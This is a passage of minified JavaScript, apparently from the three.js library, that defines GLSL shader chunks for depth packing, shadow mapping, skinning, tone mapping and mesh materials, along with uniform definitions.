normal ) {\n return normalize( normal ) * 0.5 + 0.5;\n}\nvec3 unpackRGBToNormal( const in vec3 rgb ) {\n return 1.0 - 2.0 * rgb.xyz;\n}\nvec4 packDepthToRGBA( const in float value ) {\n const vec4 bit_shift = vec4( 256.0 * 256.0 * 256.0, 256.0 * 256.0, 256.0, 1.0 );\n const vec4 bit_mask = vec4( 0.0, 1.0 / 256.0, 1.0 / 256.0, 1.0 / 256.0 );\n vec4 res = mod( value * bit_shift * vec4( 255 ), vec4( 256 ) ) / vec4( 255 );\n res -= res.xxyz * bit_mask;\n return res;\n}\nfloat unpackRGBAToDepth( const in vec4 rgba ) {\n const vec4 bitSh = vec4( 1.0 / ( 256.0 * 256.0 * 256.0 ), 1.0 / ( 256.0 * 256.0 ), 1.0 / 256.0, 1.0 );\n return dot( rgba, bitSh );\n}\nfloat viewZToOrthoDepth( const in float viewZ, const in float near, const in float far ) {\n return ( viewZ + near ) / ( near - far );\n}\nfloat OrthoDepthToViewZ( const in float linearClipZ, const in float near, const in float far ) {\n return linearClipZ * ( near - far ) - near;\n}\nfloat viewZToPerspectiveDepth( const in float viewZ, const in float near, const in float far ) {\n return (( near + viewZ ) * far ) / (( far - near ) * viewZ );\n}\nfloat perspectiveDepthToViewZ( const in float invClipZ, const in float near, const in float far ) {\n return ( near * far ) / ( ( far - near ) * invClipZ - far );\n}\n",n.ShaderChunk.premultiplied_alpha_fragment="#ifdef PREMULTIPLIED_ALPHA\n gl_FragColor.rgb *= gl_FragColor.a;\n#endif\n",n.ShaderChunk.project_vertex="#ifdef USE_SKINNING\n vec4 mvPosition = modelViewMatrix * skinned;\n#else\n vec4 mvPosition = modelViewMatrix * vec4( transformed, 1.0 );\n#endif\ngl_Position = projectionMatrix * mvPosition;\n",n.ShaderChunk.roughnessmap_fragment="float roughnessFactor = roughness;\n#ifdef USE_ROUGHNESSMAP\n vec4 texelRoughness = texture2D( roughnessMap, vUv );\n roughnessFactor *= texelRoughness.r;\n#endif\n",n.ShaderChunk.roughnessmap_pars_fragment="#ifdef USE_ROUGHNESSMAP\n uniform sampler2D roughnessMap;\n#endif",n.ShaderChunk.shadowmap_pars_fragment="#ifdef USE_SHADOWMAP\n #if NUM_DIR_LIGHTS > 0\n uniform sampler2D directionalShadowMap[ NUM_DIR_LIGHTS ];\n varying vec4 vDirectionalShadowCoord[ NUM_DIR_LIGHTS ];\n #endif\n #if NUM_SPOT_LIGHTS > 0\n uniform sampler2D spotShadowMap[ NUM_SPOT_LIGHTS ];\n varying vec4 vSpotShadowCoord[ NUM_SPOT_LIGHTS ];\n #endif\n #if NUM_POINT_LIGHTS > 0\n uniform sampler2D pointShadowMap[ NUM_POINT_LIGHTS ];\n varying vec4 vPointShadowCoord[ NUM_POINT_LIGHTS ];\n #endif\n float texture2DCompare( sampler2D depths, vec2 uv, float compare ) {\n return step( compare, unpackRGBAToDepth( texture2D( depths, uv ) ) );\n }\n float texture2DShadowLerp( sampler2D depths, vec2 size, vec2 uv, float compare ) {\n const vec2 offset = vec2( 0.0, 1.0 );\n vec2 texelSize = vec2( 1.0 ) / size;\n vec2 centroidUV = floor( uv * size + 0.5 ) / size;\n float lb = texture2DCompare( depths, centroidUV + texelSize * offset.xx, compare );\n float lt = texture2DCompare( depths, centroidUV + texelSize * offset.xy, compare );\n float rb = texture2DCompare( depths, centroidUV + texelSize * offset.yx, compare );\n float rt = texture2DCompare( depths, centroidUV + texelSize * offset.yy, compare );\n vec2 f = fract( uv * size + 0.5 );\n float a = mix( lb, lt, f.y );\n float b = mix( rb, rt, f.y );\n float c = mix( a, b, f.x );\n return c;\n }\n float getShadow( sampler2D shadowMap, vec2 shadowMapSize, float shadowBias, float shadowRadius, vec4 shadowCoord ) {\n shadowCoord.xyz /= shadowCoord.w;\n shadowCoord.z += shadowBias;\n bvec4 inFrustumVec = bvec4 ( shadowCoord.x >= 0.0, shadowCoord.x <= 1.0, shadowCoord.y >= 0.0, shadowCoord.y <= 1.0 );\n bool inFrustum = all( inFrustumVec );\n bvec2 frustumTestVec = bvec2( inFrustum, shadowCoord.z <= 1.0 );\n bool frustumTest = all( frustumTestVec );\n if ( frustumTest ) {\n #if defined( SHADOWMAP_TYPE_PCF )\n vec2 texelSize = vec2( 1.0 ) / shadowMapSize;\n float dx0 = - texelSize.x * shadowRadius;\n float dy0 = - texelSize.y * shadowRadius;\n float dx1 = + texelSize.x * shadowRadius;\n float dy1 = + texelSize.y * shadowRadius;\n return (\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( dx0, dy0 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( 0.0, dy0 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( dx1, dy0 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( dx0, 0.0 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy, shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( dx1, 0.0 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( dx0, dy1 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( 0.0, dy1 ), shadowCoord.z ) +\n texture2DCompare( shadowMap, shadowCoord.xy + vec2( dx1, dy1 ), shadowCoord.z )\n ) * ( 1.0 / 9.0 );\n #elif defined( SHADOWMAP_TYPE_PCF_SOFT )\n vec2 texelSize = vec2( 1.0 ) / shadowMapSize;\n float dx0 = - texelSize.x * shadowRadius;\n float dy0 = - texelSize.y * shadowRadius;\n float dx1 = + texelSize.x * shadowRadius;\n float dy1 = + texelSize.y * shadowRadius;\n return (\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( dx0, dy0 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( 0.0, dy0 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( dx1, dy0 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( dx0, 0.0 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy, shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( dx1, 0.0 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( dx0, dy1 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( 0.0, dy1 ), shadowCoord.z ) +\n texture2DShadowLerp( shadowMap, shadowMapSize, shadowCoord.xy + vec2( dx1, dy1 ), shadowCoord.z )\n ) * ( 1.0 / 9.0 );\n #else\n return texture2DCompare( shadowMap, shadowCoord.xy, shadowCoord.z );\n #endif\n }\n return 1.0;\n }\n vec2 cubeToUV( vec3 v, float texelSizeY ) {\n vec3 absV = abs( v );\n float scaleToCube = 1.0 / max( absV.x, max( absV.y, absV.z ) );\n absV *= scaleToCube;\n v *= scaleToCube * ( 1.0 - 2.0 * texelSizeY );\n vec2 planar = v.xy;\n float almostATexel = 1.5 * texelSizeY;\n float almostOne = 1.0 - almostATexel;\n if ( absV.z >= almostOne ) {\n if ( v.z > 0.0 )\n planar.x = 4.0 - v.x;\n } else if ( absV.x >= almostOne ) {\n float signX = sign( v.x );\n planar.x = v.z * signX + 2.0 * signX;\n } else if ( absV.y >= almostOne ) {\n float signY = sign( v.y );\n planar.x = v.x + 2.0 * signY + 2.0;\n planar.y = v.z * signY - 2.0;\n }\n return vec2( 0.125, 0.25 ) * planar + vec2( 0.375, 0.75 );\n }\n float getPointShadow( sampler2D shadowMap, vec2 shadowMapSize, float shadowBias, float shadowRadius, vec4 shadowCoord ) {\n vec2 texelSize = vec2( 1.0 ) / ( shadowMapSize * vec2( 4.0, 2.0 ) );\n vec3 lightToPosition = shadowCoord.xyz;\n vec3 bd3D = normalize( lightToPosition );\n float dp = ( length( lightToPosition ) - shadowBias ) / 1000.0;\n #if defined( SHADOWMAP_TYPE_PCF ) || defined( SHADOWMAP_TYPE_PCF_SOFT )\n vec2 offset = vec2( - 1, 1 ) * shadowRadius * texelSize.y;\n return (\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.xyy, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.yyy, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.xyx, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.yyx, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.xxy, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.yxy, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.xxx, texelSize.y ), dp ) +\n texture2DCompare( shadowMap, cubeToUV( bd3D + offset.yxx, texelSize.y ), dp )\n ) * ( 1.0 / 9.0 );\n #else\n return texture2DCompare( shadowMap, cubeToUV( bd3D, texelSize.y ), dp );\n #endif\n }\n#endif\n",n.ShaderChunk.shadowmap_pars_vertex="#ifdef USE_SHADOWMAP\n #if NUM_DIR_LIGHTS > 0\n uniform mat4 directionalShadowMatrix[ NUM_DIR_LIGHTS ];\n varying vec4 vDirectionalShadowCoord[ NUM_DIR_LIGHTS ];\n #endif\n #if NUM_SPOT_LIGHTS > 0\n uniform mat4 spotShadowMatrix[ NUM_SPOT_LIGHTS ];\n varying vec4 vSpotShadowCoord[ NUM_SPOT_LIGHTS ];\n #endif\n #if NUM_POINT_LIGHTS > 0\n uniform mat4 pointShadowMatrix[ NUM_POINT_LIGHTS ];\n varying vec4 vPointShadowCoord[ NUM_POINT_LIGHTS ];\n #endif\n#endif\n",n.ShaderChunk.shadowmap_vertex="#ifdef USE_SHADOWMAP\n #if NUM_DIR_LIGHTS > 0\n for ( int i = 0; i < NUM_DIR_LIGHTS; i ++ ) {\n vDirectionalShadowCoord[ i ] = directionalShadowMatrix[ i ] * worldPosition;\n }\n #endif\n #if NUM_SPOT_LIGHTS > 0\n for ( int i = 0; i < NUM_SPOT_LIGHTS; i ++ ) {\n vSpotShadowCoord[ i ] = spotShadowMatrix[ i ] * worldPosition;\n }\n #endif\n #if NUM_POINT_LIGHTS > 0\n for ( int i = 0; i < NUM_POINT_LIGHTS; i ++ ) {\n vPointShadowCoord[ i ] = pointShadowMatrix[ i ] * worldPosition;\n }\n #endif\n#endif\n",n.ShaderChunk.shadowmask_pars_fragment="float getShadowMask() {\n float shadow = 1.0;\n #ifdef USE_SHADOWMAP\n #if NUM_DIR_LIGHTS > 0\n DirectionalLight directionalLight;\n for ( int i = 0; i < NUM_DIR_LIGHTS; i ++ ) {\n directionalLight = directionalLights[ i ];\n shadow *= bool( directionalLight.shadow ) ? getShadow( directionalShadowMap[ i ], directionalLight.shadowMapSize, directionalLight.shadowBias, directionalLight.shadowRadius, vDirectionalShadowCoord[ i ] ) : 1.0;\n }\n #endif\n #if NUM_SPOT_LIGHTS > 0\n SpotLight spotLight;\n for ( int i = 0; i < NUM_SPOT_LIGHTS; i ++ ) {\n spotLight = spotLights[ i ];\n shadow *= bool( spotLight.shadow ) ? getShadow( spotShadowMap[ i ], spotLight.shadowMapSize, spotLight.shadowBias, spotLight.shadowRadius, vSpotShadowCoord[ i ] ) : 1.0;\n }\n #endif\n #if NUM_POINT_LIGHTS > 0\n PointLight pointLight;\n for ( int i = 0; i < NUM_POINT_LIGHTS; i ++ ) {\n pointLight = pointLights[ i ];\n shadow *= bool( pointLight.shadow ) ? getPointShadow( pointShadowMap[ i ], pointLight.shadowMapSize, pointLight.shadowBias, pointLight.shadowRadius, vPointShadowCoord[ i ] ) : 1.0;\n }\n #endif\n #endif\n return shadow;\n}\n",n.ShaderChunk.skinbase_vertex="#ifdef USE_SKINNING\n mat4 boneMatX = getBoneMatrix( skinIndex.x );\n mat4 boneMatY = getBoneMatrix( skinIndex.y );\n mat4 boneMatZ = getBoneMatrix( skinIndex.z );\n mat4 boneMatW = getBoneMatrix( skinIndex.w );\n#endif",n.ShaderChunk.skinning_pars_vertex="#ifdef USE_SKINNING\n uniform mat4 bindMatrix;\n uniform mat4 bindMatrixInverse;\n #ifdef BONE_TEXTURE\n uniform sampler2D boneTexture;\n uniform int boneTextureWidth;\n uniform int boneTextureHeight;\n mat4 getBoneMatrix( const in float i ) {\n float j = i * 4.0;\n float x = mod( j, float( boneTextureWidth ) );\n float y = floor( j / float( boneTextureWidth ) );\n float dx = 1.0 / float( boneTextureWidth );\n float dy = 1.0 / float( boneTextureHeight );\n y = dy * ( y + 0.5 );\n vec4 v1 = texture2D( boneTexture, vec2( dx * ( x + 0.5 ), y ) );\n vec4 v2 = texture2D( boneTexture, vec2( dx * ( x + 1.5 ), y ) );\n vec4 v3 = texture2D( boneTexture, vec2( dx * ( x + 2.5 ), y ) );\n vec4 v4 = texture2D( boneTexture, vec2( dx * ( x + 3.5 ), y ) );\n mat4 bone = mat4( v1, v2, v3, v4 );\n return bone;\n }\n #else\n uniform mat4 boneMatrices[ MAX_BONES ];\n mat4 getBoneMatrix( const in float i ) {\n mat4 bone = boneMatrices[ int(i) ];\n return bone;\n }\n #endif\n#endif\n",n.ShaderChunk.skinning_vertex="#ifdef USE_SKINNING\n vec4 skinVertex = bindMatrix * vec4( transformed, 1.0 );\n vec4 skinned = vec4( 0.0 );\n skinned += boneMatX * skinVertex * skinWeight.x;\n skinned += boneMatY * skinVertex * skinWeight.y;\n skinned += boneMatZ * skinVertex * skinWeight.z;\n skinned += boneMatW * skinVertex * skinWeight.w;\n skinned = bindMatrixInverse * skinned;\n#endif\n",n.ShaderChunk.skinnormal_vertex="#ifdef USE_SKINNING\n mat4 skinMatrix = mat4( 0.0 );\n skinMatrix += skinWeight.x * boneMatX;\n skinMatrix += skinWeight.y * boneMatY;\n skinMatrix += skinWeight.z * boneMatZ;\n skinMatrix += skinWeight.w * boneMatW;\n skinMatrix = bindMatrixInverse * skinMatrix * bindMatrix;\n objectNormal = vec4( skinMatrix * vec4( objectNormal, 0.0 ) ).xyz;\n#endif\n",n.ShaderChunk.specularmap_fragment="float specularStrength;\n#ifdef USE_SPECULARMAP\n vec4 texelSpecular = texture2D( specularMap, vUv );\n specularStrength = texelSpecular.r;\n#else\n specularStrength = 1.0;\n#endif",n.ShaderChunk.specularmap_pars_fragment="#ifdef USE_SPECULARMAP\n uniform sampler2D specularMap;\n#endif",n.ShaderChunk.tonemapping_fragment="#if defined( TONE_MAPPING )\n gl_FragColor.rgb = toneMapping( gl_FragColor.rgb );\n#endif\n",n.ShaderChunk.tonemapping_pars_fragment="#define saturate(a) clamp( a, 0.0, 1.0 )\nuniform float toneMappingExposure;\nuniform float toneMappingWhitePoint;\nvec3 LinearToneMapping( vec3 color ) {\n return toneMappingExposure * color;\n}\nvec3 ReinhardToneMapping( vec3 color ) {\n color *= toneMappingExposure;\n return saturate( color / ( vec3( 1.0 ) + color ) );\n}\n#define Uncharted2Helper( x ) max( ( ( x * ( 0.15 * x + 0.10 * 0.50 ) + 0.20 * 0.02 ) / ( x * ( 0.15 * x + 0.50 ) + 0.20 * 0.30 ) ) - 0.02 / 0.30, vec3( 0.0 ) )\nvec3 Uncharted2ToneMapping( vec3 color ) {\n color *= toneMappingExposure;\n return saturate( Uncharted2Helper( color ) / Uncharted2Helper( vec3( toneMappingWhitePoint ) ) );\n}\nvec3 OptimizedCineonToneMapping( vec3 color ) {\n color *= toneMappingExposure;\n color = max( vec3( 0.0 ), color - 0.004 );\n return pow( ( color * ( 6.2 * color + 0.5 ) ) / ( color * ( 6.2 * color + 1.7 ) + 0.06 ), vec3( 2.2 ) );\n}\n",n.ShaderChunk.uv2_pars_fragment="#if defined( USE_LIGHTMAP ) || defined( USE_AOMAP )\n varying vec2 vUv2;\n#endif",n.ShaderChunk.uv2_pars_vertex="#if defined( USE_LIGHTMAP ) || defined( USE_AOMAP )\n attribute vec2 uv2;\n varying vec2 vUv2;\n#endif",n.ShaderChunk.uv2_vertex="#if defined( USE_LIGHTMAP ) || defined( USE_AOMAP )\n vUv2 = uv2;\n#endif",n.ShaderChunk.uv_pars_fragment="#if defined( USE_MAP ) || defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( USE_SPECULARMAP ) || defined( USE_ALPHAMAP ) || defined( USE_EMISSIVEMAP ) || defined( USE_ROUGHNESSMAP ) || defined( USE_METALNESSMAP )\n varying vec2 vUv;\n#endif",n.ShaderChunk.uv_pars_vertex="#if defined( USE_MAP ) || defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( USE_SPECULARMAP ) || defined( USE_ALPHAMAP ) || defined( USE_EMISSIVEMAP ) || defined( USE_ROUGHNESSMAP ) || defined( USE_METALNESSMAP )\n varying vec2 vUv;\n uniform vec4 offsetRepeat;\n#endif\n",n.ShaderChunk.uv_vertex="#if defined( USE_MAP ) || defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( USE_SPECULARMAP ) || defined( USE_ALPHAMAP ) || defined( USE_EMISSIVEMAP ) || defined( USE_ROUGHNESSMAP ) || defined( USE_METALNESSMAP )\n vUv = uv * offsetRepeat.zw + offsetRepeat.xy;\n#endif",n.ShaderChunk.worldpos_vertex="#if defined( USE_ENVMAP ) || defined( PHONG ) || defined( PHYSICAL ) || defined( LAMBERT ) || defined ( USE_SHADOWMAP )\n #ifdef USE_SKINNING\n vec4 worldPosition = modelMatrix * skinned;\n #else\n vec4 worldPosition = modelMatrix * vec4( transformed, 1.0 );\n #endif\n#endif\n",n.UniformsUtils={merge:function(e){for(var t={},i=0;i<e.length;i++){var r=this.clone(e[i]);for(var n in r)t[n]=r[n]}return t},clone:function(e){var t={};for(var i in e){t[i]={};for(var r in e[i]){var o=e[i][r];t[i][r]=o instanceof n.Color||o instanceof n.Vector2||o instanceof n.Vector3||o instanceof n.Vector4||o instanceof n.Matrix3||o instanceof n.Matrix4||o instanceof n.Texture?o.clone():Array.isArray(o)?o.slice():o}}return t}},n.UniformsLib={common:{diffuse:{type:"c",value:new n.Color(15658734)},opacity:{type:"1f",value:1},map:{type:"t",value:null},offsetRepeat:{type:"v4",value:new n.Vector4(0,0,1,1)},specularMap:{type:"t",value:null},alphaMap:{type:"t",value:null},envMap:{type:"t",value:null},flipEnvMap:{type:"1f",value:-1},reflectivity:{type:"1f",value:1},refractionRatio:{type:"1f",value:.98}},aomap:{aoMap:{type:"t",value:null},aoMapIntensity:{type:"1f",value:1}},lightmap:{lightMap:{type:"t",value:null},lightMapIntensity:{type:"1f",value:1}},emissivemap:{emissiveMap:{type:"t",value:null}},bumpmap:{bumpMap:{type:"t",value:null},bumpScale:{type:"1f",value:1}},normalmap:{normalMap:{type:"t",value:null},normalScale:{type:"v2",value:new n.Vector2(1,1)}},displacementmap:{displacementMap:{type:"t",value:null},displacementScale:{type:"1f",value:1},displacementBias:{type:"1f",value:0}},roughnessmap:{roughnessMap:{type:"t",value:null}},metalnessmap:{metalnessMap:{type:"t",value:null}},fog:{fogDensity:{type:"1f",value:25e-5},fogNear:{type:"1f",value:1},fogFar:{type:"1f",value:2e3},fogColor:{type:"c",value:new n.Color(16777215)}},lights:{ambientLightColor:{type:"3fv",value:[]},directionalLights:{type:"sa",value:[],properties:{direction:{type:"v3"},color:{type:"c"},shadow:{type:"1i"},shadowBias:{type:"1f"},shadowRadius:{type:"1f"},shadowMapSize:{type:"v2"}}},directionalShadowMap:{type:"tv",value:[]},directionalShadowMatrix:{type:"m4v",value:[]},spotLights:{type:"sa",value:[],properties:{color:{type:"c"},position:{type:"v3"},direction:{type:"v3"},distance:{type:"1f"},coneCos:{type:"1f"},penumbraCos:{type:"1f"},decay:{type:"1f"},shadow:{type:"1i"},shadowBias:{type:"1f"},shadowRadius:{type:"1f"},shadowMapSize:{type:"v2"}}},spotShadowMap:{type:"tv",value:[]},spotShadowMatrix:{type:"m4v",value:[]},pointLights:{type:"sa",value:[],properties:{color:{type:"c"},position:{type:"v3"},decay:{type:"1f"},distance:{type:"1f"},shadow:{type:"1i"},shadowBias:{type:"1f"},shadowRadius:{type:"1f"},shadowMapSize:{type:"v2"}}},pointShadowMap:{type:"tv",value:[]},pointShadowMatrix:{type:"m4v",value:[]},hemisphereLights:{type:"sa",value:[],properties:{direction:{type:"v3"},skyColor:{type:"c"},groundColor:{type:"c"}}}},points:{diffuse:{type:"c",value:new n.Color(15658734)},opacity:{type:"1f",value:1},size:{type:"1f",value:1},scale:{type:"1f",value:1},map:{type:"t",value:null},offsetRepeat:{type:"v4",value:new n.Vector4(0,0,1,1)}}},n.ShaderChunk.cube_frag="uniform samplerCube tCube;\nuniform float tFlip;\nvarying vec3 vWorldPosition;\n#include <common>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n gl_FragColor = textureCube( tCube, vec3( tFlip * vWorldPosition.x, vWorldPosition.yz ) );\n #include <logdepthbuf_fragment>\n}\n",n.ShaderChunk.cube_vert="varying vec3 vWorldPosition;\n#include <common>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n vWorldPosition = transformDirection( position, modelMatrix );\n #include <begin_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n}\n",n.ShaderChunk.depth_frag="#if DEPTH_PACKING == 3200\n uniform float opacity;\n#endif\n#include <common>\n#include <packing>\n#include <uv_pars_fragment>\n#include <map_pars_fragment>\n#include <alphamap_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec4 diffuseColor = vec4( 1.0 );\n #if DEPTH_PACKING == 3200\n diffuseColor.a = opacity;\n #endif\n #include <map_fragment>\n #include <alphamap_fragment>\n #include <alphatest_fragment>\n #include <logdepthbuf_fragment>\n #if DEPTH_PACKING == 3200\n gl_FragColor = vec4( vec3( gl_FragCoord.z ), opacity );\n #elif DEPTH_PACKING == 3201\n gl_FragColor = packDepthToRGBA( gl_FragCoord.z );\n #endif\n}\n",n.ShaderChunk.depth_vert="#include <common>\n#include <uv_pars_vertex>\n#include <displacementmap_pars_vertex>\n#include <morphtarget_pars_vertex>\n#include <skinning_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <uv_vertex>\n #include <skinbase_vertex>\n #include <begin_vertex>\n #include <displacementmap_vertex>\n #include <morphtarget_vertex>\n #include <skinning_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n}\n",n.ShaderChunk.distanceRGBA_frag="uniform vec3 lightPos;\nvarying vec4 vWorldPosition;\n#include <common>\n#include <packing>\n#include <clipping_planes_pars_fragment>\nvoid main () {\n #include <clipping_planes_fragment>\n gl_FragColor = packDepthToRGBA( length( vWorldPosition.xyz - lightPos.xyz ) / 1000.0 );\n}\n",n.ShaderChunk.distanceRGBA_vert="varying vec4 vWorldPosition;\n#include <common>\n#include <morphtarget_pars_vertex>\n#include <skinning_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <skinbase_vertex>\n #include <begin_vertex>\n #include <morphtarget_vertex>\n #include <skinning_vertex>\n #include <project_vertex>\n #include <worldpos_vertex>\n #include <clipping_planes_vertex>\n vWorldPosition = worldPosition;\n}\n",n.ShaderChunk.equirect_frag="uniform sampler2D tEquirect;\nuniform float tFlip;\nvarying vec3 vWorldPosition;\n#include <common>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec3 direction = normalize( vWorldPosition );\n vec2 sampleUV;\n sampleUV.y = saturate( tFlip * direction.y * -0.5 + 0.5 );\n sampleUV.x = atan( direction.z, direction.x ) * RECIPROCAL_PI2 + 0.5;\n gl_FragColor = texture2D( tEquirect, sampleUV );\n #include <logdepthbuf_fragment>\n}\n",n.ShaderChunk.equirect_vert="varying vec3 vWorldPosition;\n#include <common>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n vWorldPosition = transformDirection( position, modelMatrix );\n #include <begin_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n}\n",n.ShaderChunk.linedashed_frag="uniform vec3 diffuse;\nuniform float opacity;\nuniform float dashSize;\nuniform float totalSize;\nvarying float vLineDistance;\n#include <common>\n#include <color_pars_fragment>\n#include <fog_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n if ( mod( vLineDistance, totalSize ) > dashSize ) {\n discard;\n }\n vec3 outgoingLight = vec3( 0.0 );\n vec4 diffuseColor = vec4( diffuse, opacity );\n #include <logdepthbuf_fragment>\n #include <color_fragment>\n outgoingLight = diffuseColor.rgb;\n gl_FragColor = vec4( outgoingLight, diffuseColor.a );\n #include <premultiplied_alpha_fragment>\n #include <tonemapping_fragment>\n #include <encodings_fragment>\n #include <fog_fragment>\n}\n",n.ShaderChunk.linedashed_vert="uniform float scale;\nattribute float lineDistance;\nvarying float vLineDistance;\n#include <common>\n#include <color_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <color_vertex>\n vLineDistance = scale * lineDistance;\n vec4 mvPosition = modelViewMatrix * vec4( position, 1.0 );\n gl_Position = projectionMatrix * mvPosition;\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n}\n",n.ShaderChunk.meshbasic_frag="uniform vec3 diffuse;\nuniform float opacity;\n#ifndef FLAT_SHADED\n varying vec3 vNormal;\n#endif\n#include <common>\n#include <color_pars_fragment>\n#include <uv_pars_fragment>\n#include <uv2_pars_fragment>\n#include <map_pars_fragment>\n#include <alphamap_pars_fragment>\n#include <aomap_pars_fragment>\n#include <envmap_pars_fragment>\n#include <fog_pars_fragment>\n#include <specularmap_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec4 diffuseColor = vec4( diffuse, opacity );\n #include <logdepthbuf_fragment>\n #include <map_fragment>\n #include <color_fragment>\n #include <alphamap_fragment>\n #include <alphatest_fragment>\n #include <specularmap_fragment>\n ReflectedLight reflectedLight;\n reflectedLight.directDiffuse = vec3( 0.0 );\n reflectedLight.directSpecular = vec3( 0.0 );\n reflectedLight.indirectDiffuse = diffuseColor.rgb;\n reflectedLight.indirectSpecular = vec3( 0.0 );\n #include <aomap_fragment>\n vec3 outgoingLight = reflectedLight.indirectDiffuse;\n #include <envmap_fragment>\n gl_FragColor = vec4( outgoingLight, diffuseColor.a );\n #include <premultiplied_alpha_fragment>\n #include <tonemapping_fragment>\n #include <encodings_fragment>\n #include <fog_fragment>\n}\n",n.ShaderChunk.meshbasic_vert="#include <common>\n#include <uv_pars_vertex>\n#include <uv2_pars_vertex>\n#include <envmap_pars_vertex>\n#include <color_pars_vertex>\n#include <morphtarget_pars_vertex>\n#include <skinning_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <uv_vertex>\n #include <uv2_vertex>\n #include <color_vertex>\n #include <skinbase_vertex>\n #ifdef USE_ENVMAP\n #include <beginnormal_vertex>\n #include <morphnormal_vertex>\n #include <skinnormal_vertex>\n #include <defaultnormal_vertex>\n #endif\n #include <begin_vertex>\n #include <morphtarget_vertex>\n #include <skinning_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <worldpos_vertex>\n #include <clipping_planes_vertex>\n #include <envmap_vertex>\n}\n",n.ShaderChunk.meshlambert_frag="uniform vec3 diffuse;\nuniform vec3 emissive;\nuniform float opacity;\nvarying vec3 vLightFront;\n#ifdef DOUBLE_SIDED\n varying vec3 vLightBack;\n#endif\n#include <common>\n#include <packing>\n#include <color_pars_fragment>\n#include <uv_pars_fragment>\n#include <uv2_pars_fragment>\n#include <map_pars_fragment>\n#include <alphamap_pars_fragment>\n#include <aomap_pars_fragment>\n#include <lightmap_pars_fragment>\n#include <emissivemap_pars_fragment>\n#include <envmap_pars_fragment>\n#include <bsdfs>\n#include <lights_pars>\n#include <fog_pars_fragment>\n#include <shadowmap_pars_fragment>\n#include <shadowmask_pars_fragment>\n#include <specularmap_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec4 diffuseColor = vec4( diffuse, opacity );\n ReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n vec3 totalEmissiveRadiance = emissive;\n #include <logdepthbuf_fragment>\n #include <map_fragment>\n #include <color_fragment>\n #include <alphamap_fragment>\n #include <alphatest_fragment>\n #include <specularmap_fragment>\n #include <emissivemap_fragment>\n reflectedLight.indirectDiffuse = getAmbientLightIrradiance( ambientLightColor );\n #include <lightmap_fragment>\n reflectedLight.indirectDiffuse *= BRDF_Diffuse_Lambert( diffuseColor.rgb );\n #ifdef DOUBLE_SIDED\n reflectedLight.directDiffuse = ( gl_FrontFacing ) ? vLightFront : vLightBack;\n #else\n reflectedLight.directDiffuse = vLightFront;\n #endif\n reflectedLight.directDiffuse *= BRDF_Diffuse_Lambert( 